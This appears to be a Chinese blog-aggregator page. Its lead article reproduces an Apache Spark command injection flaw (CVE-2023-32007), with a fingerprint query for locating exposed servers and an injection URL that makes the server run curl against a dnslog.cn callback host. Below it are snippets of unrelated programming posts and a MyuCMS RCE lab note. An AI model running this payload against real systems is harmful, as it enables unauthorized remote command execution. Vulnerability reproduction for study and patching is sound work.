当前位置： 首页 > news >正文

Apache Spark远程代码执行漏洞(CVE-2023-32007)漏洞复现

news 2026/5/20 0:38:09

漏洞描述

Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。

Apache Spark 3.4.0之前版本存在命令注入漏洞，该漏洞源于如果ACL启用后，HttpSecurityFilter中的代码路径可以允许通过提供任意用户名来执行模拟，这将导致任意shell命令执行。

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

app="APACHE-Spark-Jobs"

漏洞复现

http://ip:port/jobs/?doAs=curl+5fyjku.dnslog.cn
在这里插入图片描述
在这里插入图片描述

修复方案

相关文章：

Apache Spark远程代码执行漏洞(CVE-2023-32007)漏洞复现

漏洞描述 Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。 Apache Spark 3.4.0之前版本存在命令注入漏洞，该漏洞源于如果ACL启用后，HttpSecurityFilter中的代码路径可以允许通过…...

编程日记 2023/8/24 19:00:21

春秋云镜 ：CVE-2020-21650（MyuCMS后台rce）

一、题目 靶标介绍： MyuCMS开源内容管理系统,采用ThinkPHP开发而成的社区商城聚合，插件，模板，轻便快捷容易扩展 其2.2版本中admin.php/config/add方法存在任意命令执行漏洞. 进入题目： exp： url/index.p…...

编程日记 2023/8/24 18:59:20

测试框架pytest教程（7）实现 xunit 风格的setup

pytest支持setup和teardown，对于使用unittest和nose框架的用户来说对这些很熟悉，但是在pytest可以使用功能更强大的fixture来实现固定装置。 模块级别 如果单个模块中有多个测试函数和测试类，您可以选择实现以下固定方法，这些方…...

编程日记 2023/8/24 18:58:19

用队列实现栈

目录 题目题目要求示例 解答方法一、实现思路时间复杂度和空间复杂度代码 方法二、实现思路时间复杂度和空间复杂度代码 方法三、实现思路时间复杂度和空间复杂度代码 总结 题目 用队列实现栈 题目要求 题目链接 示例 解答 方法一、 使用两个队列来实现栈。 实现思路 题…...

编程日记 2023/8/24 18:57:18

Anolis 8.6 下 Redis 7.2.0 集群搭建和配置

Redis 7.2.0 搭建和集群配置 一.Redis 下载与单机部署1.Redis 下载2.虚拟机配置3.Redis 单机源码安装和测试4.Java 单机连接测试1.Pom 依赖2.配置文件3.启动类4.配置类5.单元测试6.测试结果 二.Redis 集群部署1.主从1.从节点配置2.Java 测试 2.哨兵1.哨兵节点配置2.复制一个哨兵…...

编程日记 2023/8/24 18:56:16

综合能源系统（8）——综合能源系统支撑技术

综合能源系统关键技术与典型案例　 何泽家，李德智主编 1、大数据技术 1.1、大数据技术概述 大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合，是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高…...

编程日记 2023/8/24 18:55:15

MySQL5.7数据目录结构

以CentOS7为例，数据目录为/var/lib/mysql/，其内容如下： [rootscentos szc]# ll /var/lib/mysql/ total 122952 -rw-r----- 1 mysql mysql 56 Jan 15 16:02 auto.cnf -rw------- 1 mysql mysql 1680 Jan 15 16:02 ca-key.pem -rw-r…...

编程日记 2023/8/24 18:54:14

Python Opencv实践 - 图像直方图均衡化

import cv2 as cv import numpy as np import matplotlib.pyplot as pltimg cv.imread("../SampleImages/pomeranian.png", cv.IMREAD_COLOR) print(img.shape)#图像直方图计算 #cv.calcHist(images, channels, mask, histSize, ranges, hist, accumulate) #images&…...

编程日记 2023/8/24 18:53:12

GAN：对抗生成网络,前向传播和后巷传播的区别

目录 GAN：对抗生成网络 损失函数 判别器开始波动很大，先调整判别器 生成样本和真实样本的统一：真假难辨​编辑 文字专图片​编辑 头像转表情包​编辑 头像转3D​编辑 后向传播 1. 前向传播（forward） 2. 反向传播&…...

编程日记 2023/8/24 18:52:11

压力变送器的功能与应用

压力变送器是用于测量气体或者液体等介质压力的设备，能够将压力转化为4 G信号传输到监控平台，工作人员可以在电脑或者手机上登录平台查看监测到的数据，并根据数据制定下一步的计划。 压力变送器的功能： 压力变送器采用了高性能感…...

编程日记 2023/8/24 18:51:10

排序算法：选择排序

选择排序的思想是&#xff1a;双重循环遍历数组&#xff0c;每经过一轮比较&#xff0c;找到最小元素的下标&#xff0c;将其交换至首位。 public static void selectionSort(int[] arr) {int minIndex;for (int i 0; i < arr.length - 1; i) {minIndex i;for (int j i …...

编程日记 2023/8/24 18:50:09

Windows运行Spark所需的Hadoop安装

解压文件 复制bin目录 找到winutils-master文件hadoop对应的bin目录版本 全部复制替换掉hadoop的bin目录文件 复制hadoop.dll文件 将bin目录下的hadoop.dll文件复制到System32目录下 配置环境变量 修改hadoop-env.cmd配置文件 注意jdk装在非C盘则完全没问题&#xff0c;如果装在…...

编程日记 2023/8/24 18:49:06

KusionStack使用文档

下载安装 1. 安装 Kusionup 如果想自定义默认安装版本&#xff0c;可以运行下述命令&#xff08;将最后的 openlatest 替换为你想要默认安装的版本号就就行&#xff09;&#xff1a; curl -s "http://kusion-public.oss-cn-hzfinance.aliyuncs.com/cli/kusionup/script…...

编程日记 2023/8/24 18:48:05

ONLYOFFICE 文档如何与 Alfresco 进行集成

ONLYOFFICE 文档是一款开源办公套件&#xff0c;其是包含文本文档、电子表格、演示文稿、数字表单、PDF 查看器和转换工具的协作性编辑工具。要在 Alfresco 中使用 ONLYOFFICE 协作功能&#xff0c;可以将他们连接集成。阅读本文&#xff0c;了解这如何实现。 关于 ONLYOFFICE…...

编程日记 2023/8/24 18:47:04

PostgreSQL下载路径与安装步骤

PgSQL介绍 PgSQL和MySQL一样是一种关系模型的数据库&#xff0c;全称为PostgreSQL 数据库。 优势&#xff1a;PgSQL是一种可扩展、可靠、可定制的数据库管理系统&#xff0c;具有良好的数据完整性和安全性&#xff0c;支持多种操作系统&#xff0c;包括 Linux、Windows、MacOS …...

编程日记 2023/8/24 18:46:01

如何在PHP中编写条件语句

引言 决策是生活不可缺少的一部分。从平凡的着装决定&#xff0c;到改变人生的工作和家庭决定。在开发中也是如此。要让程序做任何有用的事情&#xff0c;它必须能够对某种输入做出响应。当用户点击网站上的联系人按钮时&#xff0c;他们希望被带到联系人页面。如果什么都没有…...

编程日记 2023/8/24 18:44:58

LLM架构自注意力机制Transformers architecture Attention is all you need

使用Transformers架构构建大型语言模型显著提高了自然语言任务的性能&#xff0c;超过了之前的RNNs&#xff0c;并导致了再生能力的爆炸。 Transformers架构的力量在于其学习句子中所有单词的相关性和上下文的能力。不仅仅是您在这里看到的&#xff0c;与它的邻居每个词相邻&…...

编程日记 2023/8/24 18:43:56

计算机网络 QA

DNS 的解析过程 浏览器缓存。当用户通过浏览器访问某域名时&#xff0c;浏览器首先会在自己的缓存中查找是否有该域名对应的 IP 地址&#xff08;曾经访问过该域名并且没有清空缓存&#xff09;系统缓存。当浏览器缓存中无域名对应的 IP 地址时&#xff0c;会自动检测用户计算机…...

编程日记 2023/8/24 18:42:55

安果天气预报 产品介绍

软件介绍版本号 2.0.5 安果天气预报&#xff1a;全世界覆盖&#xff0c;中国定制 想要查找北京、上海、纽约、东京还是巴黎的天气&#xff1f;一款简约的天气预 报应用为你呈现。专注于为用户提供纯净的天气体验&#xff0c;我们不发送任何打扰的通知。包含空气质量、能见度、…...

编程日记 2023/8/24 18:41:54

net start Mysql 启动服务时 ，显示“Mysql服务正在启动 Mysql服务无法启动 服务没有报告任何错误

一、问题 有时候&#xff0c;输入net start Mysql 启动服务时 mysql>net start Mysql 显示 Mysql服务正在启动 Mysql服务无法启动 服务没有报告任何错误 二、原因 由于mysql的默认端口是3306&#xff0c;因此在启动服务的时候&#xff0c;如果此端口被占用&#xff0c;就会出…...

编程日记 2023/8/24 18:40:52

ArcGIS Pro脚本工具实战：5分钟用arcpy给要素批量‘改名’（保姆级参数配置指南）

ArcGIS Pro脚本工具实战&#xff1a;5分钟用arcpy给要素批量‘改名’&#xff08;保姆级参数配置指南&#xff09; 当你在处理上百个GIS图层时&#xff0c;是否曾被重复的"右键-属性-修改别名"操作折磨到崩溃&#xff1f;上周我接手一个城市管网项目&#xff0c;需要…...

编程新知 2026/5/20 0:25:33

基于HalloWing的动态眼睛驯鹿面具制作：嵌入式系统与互动艺术的融合实践

1. 项目概述&#xff1a;当驯鹿面具“活”过来几年前我第一次在Maker Faire上看到那些会眨眼、会转动的电子眼睛道具时&#xff0c;就被深深吸引了。那种将静态面具赋予生命力的魔法&#xff0c;一直让我心痒痒。直到我遇到了Adafruit的HalloWing开发板&#xff0c;这个专为“眼…...

编程新知 2026/5/19 23:56:52

战略咨询全新定位：结合政策导向规划企业中长期路径

在新形势下、战略咨询的定位逐渐向结合国家政策导向转变和企业在制定中长期发展路径时、须关注政策变化市场动态。在这一背景下政策要素核心在于灵活应对外部环境&#xff0c;企业可以利用定期分析市场动态和政策影响&#xff0c;明确发展方向。结合实际案例与专家观点、这些方…...

编程新知 2026/5/19 23:08:15

Perplexity新闻搜索失效真相：LLM缓存机制、地域策略与时间戳偏移的三重干扰（内部技术备忘录节选）

更多请点击&#xff1a; https://codechina.net 第一章&#xff1a;Perplexity新闻资讯搜索 Perplexity 是一款以实时性、引用可追溯性和多源聚合为特色的 AI 搜索工具&#xff0c;其“新闻资讯搜索”功能专为技术从业者与研究人员设计&#xff0c;支持按时间范围、可信信源&a…...

编程新知 2026/5/19 23:06:13

从零构建嵌入式Linux平板：基于全志H3与Qt5的实战指南

1. 项目概述&#xff1a;为什么我们要自己动手做一块“平板”&#xff1f;几年前&#xff0c;我在一个嵌入式展会上看到一块工业平板&#xff0c;功能简单但价格不菲。当时我就在想&#xff0c;它的核心无非就是一块屏幕、一个主控板和一个定制的用户界面。既然我们有开源的Lin…...

编程新知 2026/5/19 23:02:00

ARM中断机制深度解析：从硬件原理到实战调试与RTOS应用

1. 项目概述&#xff1a;从一行代码到硬件响应“ARM体系架构处理器的中断程序分析”这个标题&#xff0c;对于很多嵌入式开发者和系统软件工程师来说&#xff0c;就像一把钥匙。它指向了连接软件逻辑与硬件实时响应的核心枢纽。我处理过太多因为中断没玩明白而导致的系统“玄学…...

编程新知 2026/5/19 22:55:45

Codex + SSH 远程运维实战：让 AI 管你的云服务器

Codex SSH 远程运维实战&#xff1a;让 AI 管你的云服务器从 Docker 部署到数据库调优&#xff0c;从日志排查到安全加固——用 Codex CLI 通过 SSH 管理云服务器的完整实战指南。一、为什么用 Codex 做运维&#xff1f; 传统运维的痛点&#xff1a; 半夜报警&#xff0c;睡眼…...

编程新知 2026/5/19 22:05:21

从3D打印机到机械臂：聊聊步进电机选型时，那些容易被忽略的‘动态指标’（附避坑清单）

从3D打印机到机械臂&#xff1a;步进电机选型中那些被低估的动态性能指标 在自动化设备和精密运动控制领域&#xff0c;步进电机因其开环控制特性、高性价比和易于集成的特点&#xff0c;成为3D打印机、CNC机床、机械臂等设备的首选驱动元件。然而&#xff0c;许多工程师在选型…...

编程新知 2026/5/19 20:20:58

云英谷开启招股：拟募资11亿港元 5月27日上市 小米华为红杉是股东

雷递网 雷建平 5月18日云英谷科技股份有限公司&#xff08;简称&#xff1a;“云英谷”&#xff0c;股票代码&#xff1a;“03310”&#xff09;日前开启招股&#xff0c;准备2026年5月27日在港交所上市。云英谷发行价为20.81港元&#xff0c;发行5285.92万股&#xff0c;募资总…...

编程新知 2026/5/19 18:29:49

如何高效下载B站视频：3分钟掌握智能下载工具完整指南

如何高效下载B站视频&#xff1a;3分钟掌握智能下载工具完整指南 【免费下载链接】BiliDownloader BiliDownloader是一款界面精简&#xff0c;操作简单且高速下载的b站下载器 项目地址: https://gitcode.com/gh_mirrors/bi/BiliDownloader 你是否曾经遇到过这样的情况&a…...

编程新知 2026/5/19 18:21:36